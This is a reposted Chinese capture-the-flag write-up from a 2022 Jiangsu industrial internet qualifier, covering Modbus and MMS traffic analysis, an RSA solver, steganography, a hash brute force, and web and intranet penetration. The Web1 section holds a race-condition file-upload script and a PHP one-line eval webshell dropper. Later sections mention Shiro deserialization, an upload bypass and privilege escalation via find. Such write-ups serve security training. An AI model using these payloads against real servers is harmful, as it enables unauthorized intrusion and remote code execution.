中国工业互联网江苏省选拔赛writeup

admin 2022年11月11日12:45:57评论36 views字数 3891阅读12分58秒阅读模式

0x00 简介

不知道是何时被报的名,甚至比赛的前两天才知道组队的队友,还好最后的结果是好的,拿了线上选拔第二(理论亏分200多,555)晋级了11月20号的重庆决赛,心里还是美滋滋的。

中国工业互联网江苏省选拔赛writeup



0x01 CTF

协议分析1

Wiresahrk查看是mms的协议,直接过滤

中国工业互联网江苏省选拔赛writeup

可以看到上面两面和下面的明显不一样,查看追踪流

中国工业互联网江苏省选拔赛writeup

两个字符串组合之后,然后使用解码工具解码得到flag,后面乱码替换成大括号

中国工业互联网江苏省选拔赛writeup


解方程

附件脚本:

中国工业互联网江苏省选拔赛writeup

题目给了n、c,就是一个RSA,过程没有什么好说的,这里直接贴脚本咯

n = 8024564127973065791822696697071284794358778113244860389864422981119578975964727093926084927413648922361071020470150564725270618683354904686430544864634986421802250691574811643940493852040303365259871961829230451567976055242366978177493279020860227537560077272183489280971600541432160542487797473494437897108965642412346313867328843027097895335304551681879362719382890575460873246457441445622915378590294513103181807760404215667759122312502771211145132870220086702449210205047154398173087109995899654560082761774761002029827487645976212945576324039049642609852040160573026630219823125371936206527188545760503303196887c = 3180315760809674805307952038308070668830050176909147638772126511895314499221741418872541998973065111255595861696385202759844093540441475048944982758690063571599282883876643362851380191511250087221840725807404705385725070244402516934527422750911874245857588078974219707033577370635383250007806947507795729667764154840835200953651638272748044402141790503341924861185059671075139783417203879567804845438302056071839026625956697647771368487584705007737854745577029320506832583174617443045018932772363892102614493216452482474734088789707913499300956365998233734355238725491161615031776255737012637741880932940505976334292from gmpy2 import iroot,invertfrom Crypto.Util.number import *
def quadratic(a,b,c): try: (d,t) = iroot(b*b - (4*a*c),2) if not t: return 0 return ((-b-d)//(2*a),(-b+d)//(2*a)) except: return 0
for I in range(10,2050): p_try = quadratic(1,-(2**I + 31336),n) if p_try: print('nbit=,I') p = p_try[1] break
q = n//passert(isPrime(int(q)))assert(isPrime(int(p)))assert(n == p*q)print('p=',int(p))print('q=',int(q))for e in [int('1'*I,2) for I in range(1,50000)]: phi = (p-1)*(q-1) g = GCD(e,phi) if g == 1:continue print('trying with e bits:',e.bit_length(),'gcd=',g) d = inverse(e//g,phi) m = pow(c,d,n) m,t = iroot(m,g) if not t:continue flag = long_to_bytes(m) if b'flag' in flag: print(flag)        exit(0)

运行就可以得到flag

中国工业互联网江苏省选拔赛writeup


Easystego

附件使用winehx进行打开看到pdf的文件头

中国工业互联网江苏省选拔赛writeup

全部复制之后然后另存为一个pdf文件,然后查看,可以看到隐藏的东西

中国工业互联网江苏省选拔赛writeup

复制出来是乱码,尝试解码,最后是rot47解码

中国工业互联网江苏省选拔赛writeup


Ezhash

中国工业互联网江苏省选拔赛writeup

看到这个,首批放号的移动号码首位几个86139

然后就是脚本爆破

import hashlib
num = '86139'
ha = '2704efd1382cb3c01cb7962e5b8b06d5dcbe427a61460fb333e126fb646dc108'num1 = '0123456789'for i in num1: for ii in num1: for iii in num1: for iiii in num1: for iiiii in num1: for iiiiii in num1: for iiiiiii in num1: for iiiiiiii in num1: num2 = num + i + ii + iii + iiii + iiiii + iiiiii + iiiiiii + iiiiiiii hash1 = hashlib.sha256(num2.encode()).hexdigest() if hash1 == ha: print(num2) break

中国工业互联网江苏省选拔赛writeup

包裹上flag{}提交成功


流量分析3 Modbus

看到题目名字想到modbus协议

中国工业互联网江苏省选拔赛writeup

138主机向网关发送数据,通过过滤对比数据流可以看到一个PNG文件头

中国工业互联网江苏省选拔赛writeup

中国工业互联网江苏省选拔赛writeup

中国工业互联网江苏省选拔赛writeup

可以肯定通过modbus协议传输了一张图片,用tshark导出数据

tshark -r 1667353056652.pcapng -T fields -e modbus.data -Y "ip.src == 192.168.111.138 && modbus.func_code == 6" >> fuck.txt

宕出来的数据处理一下得到二进制数据,通过工具转化为图片

中国工业互联网江苏省选拔赛writeup

中国工业互联网江苏省选拔赛writeup

得到flag

中国工业互联网江苏省选拔赛writeup


Re1 逆向

中国工业互联网江苏省选拔赛writeup

中国工业互联网江苏省选拔赛writeup

汇编上反复触发一个函数

中国工业互联网江苏省选拔赛writeup

开头有个很像flag的值

中国工业互联网江苏省选拔赛writeup

这是唯一的处理函数,推测是用来打乱flag的,在不同处取值


Web1

文件上传,同目录下存在upload文件夹

php文件能直接上传,但是目录下找不到php文件,其他任意文件传上去都存在,推测为文件上传

import requestsfrom urllib3 import encode_multipart_formdataimport threading
data = {'file': ('1.php', open('D:\phpstudy_pro\WWW\python有用脚本\1.php', 'rb').read(), 'image/jpeg')}encode_data = encode_multipart_formdata(data)
data = encode_data[0]
def a(): t1 = requests.post('http://222.186.10.28:15668/upload.php', headers={ 'Content-Type': encode_data[1] }, data=data )def b(): t2 = requests.get("http://222.186.10.28:15668/upload/1.php") print(t2.status_code)
while 1: t = threading.Thread(target=a, args='') t.start() t1 = threading.Thread(target=b, args='')t1.start()
//木马<?php fputs(fopen('a.php', 'w'), '<?php @eval($_POST[1])?>');?>

中国工业互联网江苏省选拔赛writeup

访问a.php到200的时候木马就传上了

蚁剑连接拿到flag

中国工业互联网江苏省选拔赛writeup

flag{YPU648MV2DMP4P8N}



0x02 工业环境渗透:

信息管理系统

扫描发现170开了8080的端口,登录界面提示shiro的反序列化(比赛公告也有说),直接上工具可以梭哈

中国工业互联网江苏省选拔赛writeup

中国工业互联网江苏省选拔赛writeup

然后在administrator的桌面下就可以看到flag

中国工业互联网江苏省选拔赛writeup

flag{CT8Q8SHJBBMAZ99F}


火电-官网应用

通告给出账户密码:admin,ddddhm,登录之后 上传修改绕过

中国工业互联网江苏省选拔赛writeup

Websehll链接

中国工业互联网江苏省选拔赛writeup

flag{5DWG54TTTYR6MHXY}


火电-权限提升

在“火电-官网应用”紧接着,使用 find 进行提权,获得权限之后, 获取 flag

中国工业互联网江苏省选拔赛writeup

flag{62CE2E4BE0B06334}



- End -

原文始发于微信公众号(NS Demon团队):中国工业互联网江苏省选拔赛writeup

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年11月11日12:45:57
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   中国工业互联网江苏省选拔赛writeuphttps://cn-sec.com/archives/1403545.html

发表评论

匿名网友 填写信息